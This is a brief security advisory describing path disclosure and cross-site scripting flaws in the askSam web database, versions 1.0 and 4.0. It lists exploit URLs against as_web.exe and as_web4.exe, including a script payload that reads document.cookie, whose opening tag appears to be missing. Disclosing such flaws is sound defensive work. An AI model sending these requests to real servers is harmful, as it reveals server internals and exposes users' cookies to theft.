  askSam Cross Site Scripting and Path Disclosure Vulnerabilities
------------------------------------------------------------------------

SUMMARY

 <http://www.asksam.com/brochure.asp> askSam will help you turn your
information into a valuable asset. askSam is a different kind of database
- a database designed for users rather than programmers. Two security
vulnerabilities in the product allow attackers to both cause Cross Site
Scripting vulnerability and cause it to reveal sensitive information on
itself (the path it is installed in).

DETAILS

Vulnerable systems:
askSam version 1.0
askSam version 4.0

Exploits:
Path Disclosure
Accessing any of the following URLs:
http://host/as_web.exe?Command=search&file=non-existant-file&request=&MaxHits=10&NumLines=1
http://host/as_web.exe?non-existant
http://host/as_web4.exe?Command=First&File=non-existant-file

Will cause the server to return an error indicating where it looked for
the file that was not found, thus revealing the true directory structure
used by the server.

Cross Site Scripting
By accessing the following URL:
http://host/as_web.exe?wpubdoc.ask+B+Error*Messages>alert(document.cookie)</script>

It is possible to cause the remote server to insert malicious HTML and
JavaScript into an existing web page, thus causing Cross Site Scripting
vulnerability.
